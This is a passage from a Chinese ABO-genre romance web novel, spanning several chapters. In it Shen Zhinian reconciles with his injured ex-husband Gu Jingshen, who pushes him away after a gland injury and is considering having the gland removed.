病房里再次陷入沉默,只有仪器规律的滴答声填补着空白。窗外的云缓缓移动,将阳光切割成明暗相间的块状,在病房里缓缓流转。 “我年轻的时候,”露易丝忽然开口,声音轻柔得像在自言自语,“也是像你这样的Omega。漂亮,聪明,知道自己要什么,也敢去争取。你知道么,景深爸爸年轻的时候很好看。” “什么金钱,财富,地位,我都根本不在意,那个时候,我只看到他的脸,真好看。” 沈之年的心猛地一紧。他知道顾景深父母关系一直不好,但从未听说过这段往事。 “他也选择了我,我当时很惊讶,我以为这就是爱情。” “后面才知道,原来我的出身足够高贵,我也足够漂亮,到了他们家的地步,也早就不在乎什么钱了,只是需要一个装点门楣的工具。我最适合结婚。”露易丝苦笑了一下,“适合——这个词真是讽刺。我们就这么过了几十年。” “刚开始我也以为我能够改变他,我们会过上童话一样的日子,结果没有,我不是一个活生生的人,只是一个标签,上面贴着他妻子几个字。” “所以我们之间也不需要感情,只是需要扮演好好的夫妻,他简直就是机器。” “那后来呢?”沈之年忍不住问。 “后来,顾景深的爸爸,娶了我,生了顾怀深,又生了顾景深,我们一起生活了三十年。”露易丝转过头,直视沈之年的眼睛,“但我们之间始终隔着什么。明明睡在同一张床上,却像隔着一条河的感觉。” 沈之年感觉喉咙发紧。 “我没想到你们也会走到这一步。” “阿姨,我真的……”沈之年的声音开始颤抖,“对不起。” 不管怎么样,他和顾景深这些纠纠缠缠,最后成了这样,伤了老人的心。 “我没想到景深会来救我,也没想到他会受伤……” “如果是命,逃不掉。”露易丝打断他,语气依然平静,“就像我和他爸爸,兜兜转转三十年,最后还是走散了。有些事情,不是你一个人的选择就能改变走向的。” “他爱你,不管你们有没有分合,经历了什么,你有危险,他都一定会去救你。” “哪怕是你们刚成婚的时候,你们关系最冷淡的时候。” “他像我。”露易丝忽然说,“不是长相,是那种固执。认定一个人,就死心塌地,哪怕明知道没有结果,哪怕会把自己撞得头破血流。” “偏偏又有些像他爸爸,心高气傲的就那么别扭在那里。” 她站起身,走到床边,伸手轻轻整理顾景深额前的一缕碎发。动作轻柔得像在对待婴儿。 “我和他爸爸也没能给他做一个好的榜样,他都没见过正常的好的家庭是什么样子······ 沈之年感到眼眶发热, “这不是你的错,年年。”露易丝转过身,直视他的眼睛,“顾景深是成年人了,他为自己做的选择负责。我今天告诉你这些,不是要让你内疚,只是……” 他叹了口气,那叹息里有着千言万语无法表达的重量:“只是想让你知道,有些缘分,也许是孽缘。但孽缘也是缘。我和你之间,本没有恩怨。我只是一个母亲,看着儿子走上一条也许会很辛苦的路。” “我这个做母亲的,也只是希望他的路能够走的顺利一点。” 病房里的光线开始变得柔和,黄昏将至。 “我会和他爸爸分开生活,但不会离婚。”露易丝平静地说,“三十年了,有些东西不是说断就能断的。这不是为他,是为我自己。我需要一点距离,好重新看清楚一些事情。” “我还要谢谢你和你爸爸,之前我真不敢想和顾景深的爸爸分开。” “每次我往你们那边送钱,你爸爸就给我送一个Omega协会的宣传册,最开始我嗤之以鼻,看久了,竟然也有一些看进去了。” “你和景深也离婚了。” “你们都会离婚,我和那个臭老头子又有什么理由一直不分开呢?” 她拿起椅背上的外套:“我出去买点东西,你陪他一会儿吧。医生说,多和他说说话,也许有帮助。” 走到门口,他停了一下,没有回头:“沈之年,顾景深醒来后,无论你做什么决定,我都支持你。” 门轻轻合上,病房里只剩下沈之年和沉睡的顾景深。 白色的床单上,晕开一小片深色。 沈之年摸了摸自己的眼角,原来是自己的眼泪。 他握住顾景深的手,那只总是温暖的手此刻冰凉。他想起露易丝说的“孽缘”,想起自己一直以来的逃避。 “怪傻的,”他低声说,声音哽咽,“这么久了,碰壁了也不知道回头,没名没份的,也不生气。” “有这样的心气,早不知道哪里去了。” 顾景深当然没有回答。他的呼吸平稳而微弱,像是随时会断掉的风筝线。 病床上,顾景深的睫毛颤动了一下,极其轻微。 沈之年屏住呼吸,等待。但顾景深没有醒来,他只是无意识地反握了一下他的手,那么轻,轻得像一个幻觉,却让沈之年的心脏猛地跳动起来。 走廊里传来脚步声,由远及近,停在门外。沈之年抬起头,看见门上的玻璃窗外,露易丝安静地站在那里,没有进来。他们的目光在暮色中相遇,露易丝微微点头,然后转身离开。 沈之年转回头,看着顾景深沉睡的脸,低声说:“快点醒来吧,我有话想对你说。”—— 那天的爆炸,除了沈之年都受了一点伤。 虽然那个时候,沈奉月身边也有保镖,但是终究还是没有顾景深护的严实,受了一点轻伤。 往下两层楼,就是沈奉月的病房。 沈之年进去的时候,伊桑刚刚出门。 沈奉月这几天好像一直都没怎么开口,今天也是,就这么呆呆的坐在病床上,看向窗外。 沈之年进门之后也没有打扰父亲的清净,自己找了个地方坐下,开始削苹果。 “现在有关Omega的法条很多都是落后的,我昨天发现,有一条,被我们忽略很久了。”沈奉月突然开口。 “之前一直将Omega认为是财产的一种,所以Omega在50岁之前,是需要监护人的,尤其是未婚的Omega。” “后面我更改了法条,如果Omega能够证明自己有独立工作的能力,就可以不需要监护人。” “这个法条之后就没有再变更过了,因为Omega大多都早早的结婚,成婚之后不需要监护人,或者说他成了丈夫的财产。” “不愿意结婚的,也一般都是能够找个好工作。” 沈奉月叹息一声,“这个法条太陈旧了,必须要改。” 其实这个法条使用的人群很少,不在目前沈奉月工作建设的重点范围之内,才一直都没有再变动。 沈之年不知道沈奉月为什么突然就又提起了这个。 “爸爸,你现在需要好好休息,清道夫那边又有了一点新的眉目,星警已经在追查了。”沈之年靠在沈奉月的怀里,“以后都会好的。” “废止Omega学院这件事现在也已经正式提上日程了。” “爸爸不要把自己逼得太紧了。”沈之年抱着沈奉月的腰,“事情要一件一件的做嘛。” 沈奉月摸摸沈之年的脸,“等不了了,一转眼,我们年年都这么大了。” “年年,你是不是没见过你外祖父。” 沈之年出生之后就跟着沈奉月一路颠沛流离。 还在贫民窟里面生活过很长的一段时间。 从来也没见过外祖父。 但是沈奉月读过书,长得好,级别也高,不用想也能猜到他恐怕出身不凡。 沈奉月没提过他的家庭,沈之年懂事之后也没问过。 他没有Alpha父亲,一个出身良好的Omega,带着未婚先孕的孩子,流落到贫民窟,这么多年一直都没有和家里人联系。 究竟发生了什么其实不难猜到。 “提起他们做什么?”沈之年侧开眼睛,他不知道怎么回答这个问题,沈奉月会怎么看待他的父母呢? 沈奉月不避讳谈起他们,甚至可以说第一次主动的提起了他们,“你的外祖母,是一个贤惠美丽的好Omega,很符合传统意义里好Omega的标准,这么多年,我见过的Omega没有一万也有九千。” “在那套灭绝人伦的道德标准里,没有人比他做得更好。” “之前你那个小傻子似的样子,我有时候还觉得你是不是像她?” “你心灵手巧应该也很像她。” 沈奉月拿起沈之年的手,十指纤纤。 “我有三个Alpha哥哥姐姐,家里只有我一个Omega,也算是受尽疼爱,那个时候,全不知事。” 沈之年看着沈奉月,父亲好像在他很小的时候就很靠谱,有理想有志向,是他的依靠,是那么多Omega的救星。 沈奉月看着沈之年的眼神突然就笑了,“这么看着我做什么,我又不是生下来就是你爸爸,我也有年轻的时候啊。” “我那时候,仗着家里的宠爱,做了不少的荒唐事。”沈奉月想到这里突然就笑了,“也不都是荒唐事,不然就没有你啦。” “你外祖父,不苟言笑,家里的哥哥姐姐都不敢惹他,只有我不怕他,他还破例允许我读一下其他Omega兄弟姐妹不能读的书。” “也算是好时光。”沈奉月说着竟然笑了出来…… “我打算回去见见他们,你要见见你的外祖母么?”沈奉月摸摸沈之年,“她应该会很喜欢你。” “不去。” 沈奉月有点惊讶的看着沈之年,“为什么?” “爸爸,你其实根本不希望我去见他们,你不喜欢他们。”沈之年淡淡的开口,“你只是担心我从没见过外祖母,心里有遗憾,才问我要不要去。” “我不遗憾,我不会去。” 沈奉月突然就笑了,“跟顾景深在一起,也不是一点用处都没有嘛,机灵了不少。” 沈之年哪里听不出这是爸爸在打趣他,“爸爸,你也不要回去。” 虽然刚才沈奉月说起自己的父母时,说的都是好事,但是沈之年觉得他应该很伤心。 之前那么受宠爱,被扫出家门的时候应该就很伤心。 他不想爸爸回去,回去也不过时再伤心一次。 “嗯,我不回去。”沈奉月摸摸沈之年的头,“回去休息吧,我这点小伤,要不是伊桑强烈要求,根本不会在医院住这么久。” 恰好这个时候,伊桑又敲门进来,手里拿着大包小袋的,不知道装了点什么。 “哥哥,你来了叔叔开心多了。”伊桑坐在沈奉月身边也像刚才的沈之年那样钻进了沈奉月的怀里。 沈之年看着这一幕总觉的有一点奇怪,但是伊桑一直都和别的Alpha不太一样,软弱温和爱撒娇,Omega一样。 沈之年把心里的那点异样全都甩出去,“那爸爸我先回去啦,哥哥那边还有很多事情要忙。” 沈奉月住进了医院,Omega协会的大小事情全压在了林之白的身上,忙的都没能过来看过几次。 就连沈之年也被抓成了壮丁,一直在忙碌,幸好还有伊桑在这边照看。 沈之年出门之后,回过头看了一眼,病房里面的两个人影子叠在一起,不知道在说什么—— 几日后。 沈奉月已经完全痊愈,但是不知道为什么还是没有立刻回到Omega协会,还是林之白和是沈之年没日没夜的在这里忙。 “年年,前几天会长嘱咐我,想要你能够在Omega协会挂个职位,我想最好不要一下子给你挂的太高,不然会长要惹人非议。” 之前就是一直害怕惹人非议,沈之年在Omega协会打白工那么久,也没想过要挂着职。 “要不算了,咱们家也不差这一点点的钱,何必呢。” 林之白的眉头皱起来,“这倒是小事,既然会长让挂就挂上,我先给你提交一个报告。” 这倒是小事情,沈之年的光脑突然就像了,他就没再关注这边。 接起光脑,是露易丝打过来的。 电话里面的信息让沈之年又惊又喜。 “景深醒了!!真的么!!” 第87章 “你的信息不知道为什么无法提交, 年年。”林之白的眉头皱起来。 “是不是顾景深在搞鬼?”这种神通广大还针对他们的,林之白一时之间也只能想到顾景深。 “应该不是吧,他不是这样的人。”沈之年捏捏手指, 说出这句话的时候带着一点羞耻。 不过,顾景深就是不是那样的人,哪怕在之前,他在明面上也算是一个有道德的绅士。 知道顾景深在沈之年身上装定位的林之白在沈之年看不到的地方狠狠的撇了撇嘴。 “他没准就是这样的人。” 沈之年有点不好意思的凑到林之白的身边, “哥哥······” “你想复合!”林之白赶在沈之年开口之前,恨铁不成钢的。 他劝分了这两位又何止八百回。 两位一复合, 他这个哥哥到时候婚礼上还是得做主桌。 林之白的牙都咬碎了。 沈之年缓缓的低下头, 声音小的和蚊子一样, “嗯······” “爆炸的时候,我在想,人生多短啊,中间还不知道什么时候会出意外,如果顾景深就这么死在这里,我会遗憾之前没有和他复合的。” “那不如就勇敢一点吧, 就当那次爆炸之后,我们就都死过一次,这是一个新的人生……” 想到年年能够像现在这样全须全尾的站在这里,也全都要倚靠顾景深, 林之白也把嘴里的话咽了下去。 “我知道你认准的事情, 我也阻止不了你······” “先别结婚,万一只是明面上改好了,一结婚,觉得你跑不了又故态复萌,到时候总是离来离去的也不好看, 我只能同意你们暂时接触一下,别的都不行!” “不能和之前一样,把一颗真心全都托付出去,知道么?” “晚上也得回家,你们得先谈一段时间的校园恋爱,我现在觉得校园恋爱还是很考验真感情的。” ······ 沈之年知道林之白是关心他,笑着接受了所有的建议. “我会保护好我自己的,谢谢你哥哥。” “那我······”沈之年指指门,“就先去看看景深。” 林之白翻了一个大大的白眼,“去吧去吧,别在我这里碍眼。” 沈之年欢欢喜喜的离开,走出去一点,又返了回来。 林之白不知道在和谁打电话,眉毛皱在一起。 看到沈之年回来才重新松开,扯出一点笑容,“怎么了,年年?” “哥哥,这件事你先不要和爸爸讲,他最近不开心,等他开心一点再说。”、 林之白含笑答应。 目送沈之年走远了,才接着和光脑的另一端交流,“会长,你接着说。”—— 沈之年过去的路上一直在想,怎么和顾景深开始这个话题呢。 直接开口是不是太突然了。 “我们复合吧?” “我们恋爱吧?” 不好,好像都不够浪漫。 在Omega学院还是给沈之年的人生留下来一点痕迹,至少他偶尔也爱浪漫。 一直到了医院的门口,沈之年也没想到一个很好的告白场景。 顾景深听到之后又会是什么反应呢? 应该是会开心的吧,沈之年心想,他们应该也算是两情相悦。 那就应该再给彼此一个机会—— 医院的走廊长得没有尽头,空气里是那股熟悉的、浓得化不开的消毒水味儿。 他抬手,正要叩门。 门却从里面被拉开了。不是他。是一个完全陌生的年轻女人,二十七八岁年纪,一身剪裁利落的米白色西装套裙,头发一丝不苟地梳在脑后,露出光洁的额头和一副无框眼镜。眼神锐利,迅速在他身上一扫,带着公事公办的评估意味。 “请问您是哪位?”声音倒是清脆,但没什么温度。 沈之年一怔,下意识道:“我……我来看顾景深。我是沈之年。” 女人点点头,表情没有任何变化,仿佛早就知道。“沈先生。我是顾总的助理,姓林。顾总目前刚刚苏醒,身体还很虚弱,需要绝对静养,暂时不方便见客。请您理解。” 客? 这个字眼像一颗小钉子,轻轻巧巧扎进沈之年鼓胀的期待里。 可能现在离顾景深太近了,也可能他的病真的在变好,沈之年觉得尴尬已经快把他淹没了:“客?林助理是吧?你可能不太清楚,我不是‘客’,之前不都是李特助在身边么,怎么今天是你。” “你第一次见我吧,我有重要的事,必须立刻见他。” 林助理身形未动,依旧挡在门前,只是嘴角的弧度似乎更标准了些:“顾总的健康是当前第一要务。任何‘重要的事’,都可以由我代为转达,或者,等顾总情况稳定后再预约时间。” 代为转达?预约? 好奇怪······ “你去问一下,他会愿意见我的。”沈之年温声开口,他还是希望能够在顾景深醒来第一时间和他见面。 后面再见面是不一样的。 林助理侧开视线,“顾总不愿意。” 这就是提前有嘱咐过的意思,沈之年不是一个会轻易退缩的人,他看着林助理,“我和你确认一下,顾景深不肯见我是么?” 两个人站在病房前面的样子很奇怪,走廊里有护士探头张望,又被林助理一个眼神挡了回去。 场面有些僵持。 就在林助理终于要回答沈之年的问题时,门内传来了声音。 有些低,带着久未说话的沙哑,和一丝明显的疲惫。但确确实实,是顾景深的声音。 “小林,”那声音说,平淡无波,“让他进来吧。” 沈之年看了一眼瞬间侧身让开、脸上依旧没什么表情的林助理,深吸了一口气。 他推开了门。 病房里窗帘拉开了一半,下午稍显慵懒的阳光斜射进来,在床尾的地板上投出一块明亮的、有些晃眼的光斑。空气比走廊更暖一些,仪器规律的滴答声轻缓地响着。 顾景深半靠在升起的床头。他瘦了很多,脸颊有些凹陷,脸色是久不见阳光的苍白,嘴唇也没什么血色。但眼睛是睁开的,望着窗户的方向,侧脸在光里显得有些过于清晰,甚至有种脆弱的质感。 听到开门声,他转过头来。 顾景深的眼神很平静。不是冷漠,不是愤怒,也不是他预想中可能有的任何激动情绪。 就是一种……彻底的平静。像深秋无风的湖面,看不到底,也映不出什么波澜。 甚至在沈之年脸上停留的时间,都短暂得近乎仓促。 “你来了。” 好像回到了之前,一切的一切最开始的时候, 沈之年张了张嘴,喉咙发紧,只发出一点模糊的气音。 好久没见到这样的顾景深了,他竟然有点不知道怎么和他相处。 他好像并不需要他的回应,目光掠过沈之年因为无措死死攥着的手,又平静地移开,落回他脸上。 “你来找我什么事情?” “听说你醒了,”沈之年的脑袋已经完全糊住了,干巴巴的开口,“我来看看你,没事,就不能看看你么?” 沈之年有点想逃走,他很难理解本来还好好的人,今天是怎么了。 “嗯,大夫说恢复的很不错,应该不会影响后面的生活,谢谢你的关心。” 沈之年两只手搅在一起,“我们说这些,是不是太生疏了?” “沈之年,”他叫他的名字,不再是平时刻意套近乎,带着一点缱绻的“年年”,而是连名带姓,一个最标准不过的称呼,“不用说了。” 他微微向后靠了靠,闭上眼睛一瞬,又睁开。 “别来看我了,”他侧过头一眨不眨的看窗外,“毕竟我们都离婚了不是么,一直这样的话,我也没办法向前看。” 阳光移动了一寸,刚好晃过沈之年的眼睛。他下意识地眯了一下,视线里顾景深的轮廓有些模糊。 “这次醒来,好像很多事,突然就想清楚了。”他继续说,语速不急不缓,像在谈论天气,“我们之间……有些错误,犯一次,就够了。” “景深,你是遇到什么麻烦了么?”沈之年扳过顾景深的脸,强迫他直视他的眼睛,“我们复合吧,我可以陪你一起。” “你不需要觉得欠我什么。当时那种情况,换作任何人,可能都会那么做。”顾景深甚至试图解释,用一种完全撇清关系的口吻,“所以,不必有负担。以后……各自好好生活吧。” 第88章 “他疯了。”林之白笃定地说, 甚至不是一个疑问句。 “之前鞍前马后的,恨不得窜到家里入赘,连命都不要了, 现在说什么分开。”林之白念叨了几句。 “没事,你别管,过几天他自己就想通了。” “毕竟你们的匹配度是百分百,天性决定你们不管怎么样都还会选择对方。”本来林之白是不相信这一套的, 但是看着沈之年和顾景深两个人经历的这一切。 也有一点相信了。 沈之年有一点惊讶,“沈之年以为你会劝沈之年直接和他分开。” “这个世界上愿意为对方付出生命的人并不多, 沈之年不知道你未来是不是会选择其他的人, 但是其他人应该不会比他更好了。” 沈家的几个Omega, 骨子里好像都有一种稀缺的主体性。 不在乎外人的看法,不在乎世俗的定义。 只考虑究竟自己想要什么。 “如果你想要的是他,中间有一点磨难也没什么的。”林之白轻声说,“比起你得到别人想要的,沈之年更希望你最后得到的是你想要的。”—— 后来几天,沈之年又去过几次医院, 也没能进那间病房。 护士还有那个见过一次面的林助理,轮番的委婉地告诉沈之年“病人需要静养,不想见人”。 打电话,永远是关机。消息发出去, 石沉大海。 莫名其妙就成了这样, 林之白也跟着着急,甚至拜托薄斯年去探视,带回的话含糊其辞:“顾景深精神不太好,说谁也不想见,尤其……咳, 反正你先别去了吧。” 沈家,沈之年靠窗对着一杯冷掉的拿铁发呆。林之白把甜品勺往碟子上一搁,清脆的“叮”一声。 “年年,要不算了吧。”他叹了口气,“我怎么觉得他这也是郎心似铁。” “可能你们真的少了点缘分。” 沈之年喉咙发紧。“我就是觉得……不该是这样,不是这样的……” “人是会变的,或者说,我们可能从来就没真正看清过一个人。”林之白握住沈之年冰凉的手,“他或许只是一时冲动做了英雄,现在后悔了,觉得你是负担了。听我的,别再去碰钉子了。你的心也是肉长的,经不起他这么冷着冻着。” “可万一……万一是有什么原因呢?”沈之年不死心,声音微弱,“他伤得那么重……” “能有什么原因?”林之白语气变得有些急,“伤得重就能随便伤人吗?年年,他救你是一回事,可他现在的态度是另一回事!你非得把自己那点自尊心都碾碎了,捧到他面前,看他踩上去才甘心吗?” 沈之年被他的话刺得缩了一下,咖啡杯里的倒影模糊不清。 “我不是……” “你就是!”林之白斩钉截铁,“年年,听我一句劝,到此为止。他不想见你,你非要往上凑,这叫纠缠,不好看。你值得更好的,而不是一个躺在病床上对你冷言冷语、连见都不想见你的人。” “好吧。”沈之年点点头,可能是太久没见到顾景深,也可是一会生二回熟,沈之年答应的远比上次轻松。 林之白都有点惊讶的看着沈之年,“这么轻松的答应,你上次可不是这样的。” 沈之年苦笑,“那我不答应也没办法呀,我也不能压着他和我复合。” “而且哥哥你前几天也不是这么说话的呀。”沈之年还有心情调侃哥哥。 林之白也想起前几天自己是怎么劝说沈之年勇敢追爱的,脸上露出一点尴尬,他那会也不知道顾景深这么坚定。 中间到底是有救命之恩,林之白也没办法对着顾景深恶语相向。 “好了,”林之白语气软下来,拍了拍沈之年的手,“别再想了。一会我陪你出去逛逛,看场电影,吃顿好的,把这些糟心事都忘了。从明天开始,咱们翻开新的一页,好不好?” 沈之年看着他关切的眼神,心里那根紧绷的弦一点点松下来。 沈之年的手机响了。 是露易丝······ 林之白也看到了,撇撇嘴,压低声音:“他妈?还能有什么事,估计是替他儿子传话,让你彻底死心吧。别接了,给自己留点尊严。” 而且这位美妇人实在是说话刻薄,林之白在工作里不讨厌这位财神奶奶,但是私生活里,他还是不希望有过多的交集。 尤其是不希望自己的弟弟和对方有过多的交集。 铃声固执地响着。 上次见过的露易丝,“她现在不太一样,她和顾宗翰分开了,” “接吧。”沈之年听见自己说,声音干涩,“听听她说什么。” “年年!”林之白不赞同地皱眉。 但沈之年已经滑动了接听键:“……喂?阿姨?” 电话那头传来的却不是预想中冷淡或疏离的声音,而是混杂着嘈杂背景音的、压抑却仍透出哽咽和颤抖的声音: “年年吗?我是露易丝……对不起,突然打扰你……你、你现在能来医院看看阿深吗?求你了……” 沈之年愣住了,下意识地问:“他……怎么了?不是不想见我吗?” “不是的!根本不是那样的!”露易丝的哭声终于压抑不住,透过电波破碎地传来,“他伤得太重了,手术做了好几次,一直没脱离危险,前几天才稍微稳定一点……最关键的是,他的腺体受伤了……他是故意气你走的啊。” 沈之年的呼吸骤停,故意气他,沈之年猜到了,但是腺体受伤,真的很超乎意料······ “阿姨,我问过他的,如果遇到什么问题,我愿意和他共同面对。但是他拒绝了我,阿姨,我们都应该尊重他的选择。” “不是的,年年,他的腺体受伤之后,产生了功能性紊乱,他担心影响到你,才让你离开,但是今天他不知道是听了哪个大夫的话,他要把腺体摘除,这样就可以再去见你,算我求求你,你来劝劝他可以么?” 林之白惊愕地看着沈之年骤然惨白的脸:“年年?怎么了?他说什……” 沈之年猛地站起身,撞得桌子一阵响,咖啡泼洒出来,褐色的液体在桌面上逐渐蔓延,滴滴答答的落在沈之年的鞋面。 “医院!”沈之年的声音有些发抖,对着林之白,更像是喃喃自语,“我得去医院……现在就去!” 林之白也站了起来,一脸震惊和困惑:“等等,年年,到底怎么回事?他妈说什么了?” “他要摘除腺体……”沈之年语无伦次,抓起椅背上的外套就往身上套,手指颤抖得扣不上扣子。 “什么?”林之白抓住沈之年的手臂,“你说清楚!” “之前的爆炸伤到了他的腺体,造成了功能性紊乱,他现在要摘除腺体,”沈之年重复着电话里听到的词。 “我得去劝劝他。” 腺体是一种非常精密的器官,并不是摘掉之后就会和Beta一样,成为没有腺体和信息素的人,信息素支持着A和O很多生命活动,摘除之后,身体的各个部分都会收到很大的影响。 摘除腺体的Alpha十分少见,但是Omega协会做过摘除腺体的Omega寿命统计。 在人均寿命已经逼近300的星际社会,摘除腺体的Omega平均寿命不超过50。 这其中存在那些Omega生活环境恶劣的因素在,但是腺体的缺失也是非常重要的因素。 林之白愣住了,脸上的怒气被惊愕取代。他张了张嘴,似乎想说什么,但最终只是松开了手:“我开车送你去,你这样慌里慌张的,再出事怎么办。” “谢谢……”沈之年哽住。 十五分钟后,市立医院住院部。 熟悉的消毒水气味扑面而来,但沈之年这次没有在走廊犹豫。沈之年几乎是跑向那个病房,林之白跟在身后。 病房门虚掩着。 沈之年听到里面传来压抑的咳嗽声,每一声都牵扯着沈之年的神经。 沈之年停下脚步,深吸一口气,抬手敲门。 “请进。”是露易丝的声音,带着浓重的鼻音。 沈之年推开门。 病房里的光线比上次来时更暗一些,窗帘半拉着。顾景深躺在病床上,眼睛闭着,脸色比上次见到时更加苍白憔悴,唇上几乎没有任何血色。他胸口缠着的绷带似乎更厚了,监测仪的线条在他身侧规律地跳动,发出轻微的“嘀嘀”声。 露易丝坐在床边的椅子上,眼睛红肿,看到沈之年时立刻站起身,脸上浮现出复杂的情绪——歉疚、恳求、如释重负。 “年年……”他快步走过来,压低声音,“你来了……谢谢你……” 沈之年的目光死死锁在病床上那个人身上。 他似乎比前几天更瘦了,脸颊凹陷下去,眼下有浓重的阴影。 睡着的时候,眉宇间那层冰冷的盔甲消失了,只剩下疲惫和脆弱。 “他刚打完止疼针,睡着了。”林母轻声说,抹了抹眼角,“一直疼得睡不着,医生才给加了药量……” 床上的顾景深似乎被惊动了,睫毛颤动了几下,缓缓睁开了眼睛。 他的眼神起初有些涣散,聚焦在沈之年脸上时,明显愣了一下,带着一丝不易察觉的慌乱。 “你怎么又来了。”他开口,声音比上次更哑,气息微弱, 他抿紧苍白的嘴唇,避开沈之年的视线,转向他母亲,语气带着责备:“妈……你叫他来干什么……” 第89章 “李特助, 我凶了夫人,怎么办,怎么办, 我好害怕!!!”小林现在已经完全没有和沈之年见面时候冷艳美人的样子。 李秘书站在原地,看着小林不停的打转。 夫人的声名在外,不仅仅是在秘书处,整个顾氏总部多都所算得上赫赫有名。 小林之前刚刚调进顾景深身边的秘书处的时候, 更是每天耳朵里面都不停的听其他同事说什么夫人,还被传授了很多和夫人相关的工作小技巧。 虽然最后一样都没用上, 那时候顾总刚刚和夫人闹矛盾, 所有的马屁都拍在了马腿上。 可她一直都是希望能够见到夫人的, 她真的没想到最后见面的场景竟然是这样的啊!! 顾总说得找到一个夫人没见过的,这和点名基本没有区别,她就这么被选中了做这个工作······ 事情发生之后,每每想起,都让小林这个老老实实的打工人深深的感到后怕。 回忆一会,小林又想起当时的场面了。 “但是真的好漂亮, 我好喜欢······”小林想起刚才沈之年的美貌,露出了痴痴的笑容。 “你说怎么能这么好看呢?以后我有没有机会跟在夫人身边······” “他还和我说话了,我觉得夫人走过的地方,风都是香的。” “以后我要是再扮演坏人, 夫人会不会给我一嘴巴!你说到时候疼不疼, 我觉得不会,夫人一看就是性格软软的小人妻,嘿嘿······” “到时候和巴掌风一起过来的,就是夫人身上的香气。” ······ “不过,李特助, 你说等到夫人和顾总和好之后,我会不会失业······” “毕竟我在二位中间扮演的也不是什么好角色······” 自从上次的事情之后,小林自己不知道发了多久的疯,李秘书其实已经有一点习惯了,一会哭一会笑的,李秘书经常深感自己赶不上年轻人的潮流。 这些话她翻来覆去的说,说了好多次。 李秘书还是拍拍小林的肩膀,之前顾景深刚和沈之年分开的时候,小林调进了秘书处,几次讨好都是以失败告终, 那个时候,他就意识到了,粘夫人的光讨好顾总这条路,小林是走不通的。 有的时候,命就是这样,小林就是没有走捷径的命。 但是说实话,李秘书也确实没想到林秘书会走上这么一条完全不同的道路。 李秘书的脸抽动了几下,“真到了那一天,我希望你还能留下。” “我一定帮你美言几句。” 李特助说着,忧心忡忡的回过头看了一眼病房,虽然病房的门紧紧的关着,他什么也看不到。 小林显然没能意识到李秘书的忧虑,“你也觉得顾总会和夫人和好是不是?” 李特助这时候才侧目看向小林,“套我的话?” 但李特助也不太在意,他从来都不怀疑顾景深和沈之年最后会重归于好。 毕竟,只有他见过,对着空气说话,几乎半疯的顾景深。 现在顾景深还是嘴硬,张口闭口都是不能拖累沈之年,不能和沈之年在一起,会伤害到沈之年, 但是谁知道他能坚持多久, 一年,半年,一个月? 至少李特助本人觉得嘴硬一周就差不多了。 他们对对方的吸引是上天注定的,是刻在基因里的。 这时候里面恰到好处的传来了顾景深的嘶吼声······ 两个人都及时的停下了说话。 接着就是大夫走了出来。 “信息素水平还是非常的不稳定······”大夫说完,拿出随身携带的氧气瓶吸食了一口氧气,虽然已经尽量做了措施,但是长期和高浓度的极优信息素接触,还是让人不太舒服,“病人本身是极优Alpha,这样的的情况对于我们来说也是非常棘手,一个极优Alpha不能稳定的控制自己的信息素,这对社会来说也是一个不太稳定的因素。” “我们承诺会尽力医治,但是事实上,之前我们没有治愈过类似的案例,如果可以,还是希望家属能够做好准备。” 露易丝听到一半的时候就浑身瘫软,险些摔在地上,做好准备是什么意思她听得明白。 切除腺体对Alpha来说意味着完全放弃第二性别特征,意味着在社会中被边缘化,意味着必须重新适应一个完全不同的自我。 “不行,绝对要保住景深的腺体。” 医生只能连连承诺尽力。 露易丝再次回到病房吗,顾景深还维持之前的姿势,斜依靠在病床上。 因为受伤,皮肤白的几近透明,看起来无端的有几分可怜。 “大夫还是建议我摘除腺体么?” “我绝对不会同意的。”露易丝明白顾景深这么问的意思,他在对这个建议跃跃欲试。 她很少自怨自艾,她家世好长得好又有钱,哪怕是和顾宗翰结婚,被他当成是摆件,她也能很快和解并且适应,一点都不内疚的花顾宗翰的钱。 过上比之前还有奢侈的生活。 但是这是她第一次觉得自己命苦。 怀深不幸离开了,景深的腺体现在也保不住。 上天啊,为什么要这么对她,为什么要伤害她的两个孩子。 “那又有什么办法呢?” “大夫没说一定治不了,只是要慢慢的寻找办法,“我们能等到的。” “那要等到什么时候,我难道要一直这样么?”顾景深看向露易丝的眼睛。 “我要一直躲着年年么?” “人的一生何其短暂,也许我能够在他身边的时间本来就不多。” 露易丝的眉头皱起,“可是你没了腺体,他也不会再和你在一起了。” “我不在乎。能陪在他身边也很好。”—— “做手术就不用躲着我了么?” 沈之年很少看见这样的顾景深,他刚刚从睡梦中醒来,有一些虚弱,苍白,但是依旧能够看出其中的美丽。 像落难的小狗, 沈之年的心软下来一半,但还是咬牙质问顾景深, 顾景深看向露易丝。 露易丝有一点尴尬的站起来,“你们聊啊,我就先出去了。” 沈之年坐在露易丝之前的位置。 “你都已经知道了么?”现在沈之年能够被顾景深叫过来,恐怕露易丝已经把该说的都说了。 “大约吧。”其实露易丝也只是简单的说说。 “病了就病了,为什么突然分开?”沈之年一直都不太理解。 顾景深下意识摸了摸自己的后颈,上面还缠绕着层层叠叠的纱布,“我的腺体受伤了,如果摘掉腺体的话,以后没有信息素了。” “你还会喜欢我么?” “当然会。”沈之年不知道顾景深为什么会说出这样的话,“爱情和信息素无关,这不是你教给我的么?” “你真的爱我么,不是爱我的信息素?”顾景深说出这句话的时候,带着一点破罐子破摔。 信息素是Alpha或者Omega身体的一部分,这句话问的好奇怪,就好像在说,你真的爱我么,不是爱我的肺? 信息素是基因的外在表达,信息素的匹配度这么高,只能够说明他们天生一对。 “你说什么呢,你的信息素不是你么?”沈之年没有很认真的思考过这个问题,Alpha和Omega从分化的那一刻起就开始长久的和信息素作伴。 信息素在生活的很多方面都起到十分重要的作用,存在感远超过心肝脾肺肾。 顾景深出现的那一刻好像就已经和他的信息素深度的绑定了。 看到顾景深的那一刻,闻到他的信息素,沈之年就能找回久违的情绪,找回情绪才能去分辨爱还是不爱。 沈之年觉得至少目前的情况里,他看到顾景深的时候,他怦然心动。 “刨除信息素,你爱我么,爱我这个人么?”顾景深好像很纠结这个问题。 沈之年突然想起,之前,顾景深好像也提过类似的问题。 “我不想拖累你。”顾景深的声音微微发颤,“现在我的腺体受损,信息素水平可能永远无法恢复到从前,不摘除腺体,我们接触都没办法接触,这么高的匹配度,我只会伤害到你。” “摘除腺体之后,我对你来说算什么么?” “如果注定要失去信息素,不如主动放弃,免得”顾景深哽咽了一下,“免得看着你渐渐远离。” “这太荒谬了。”沈之年站起身,“信息素只是你一部分,没有就没有了。” “我们第一次见面,我就知道我爱你。”顾景深没有回答沈之年的问题,而是开始说别的······ 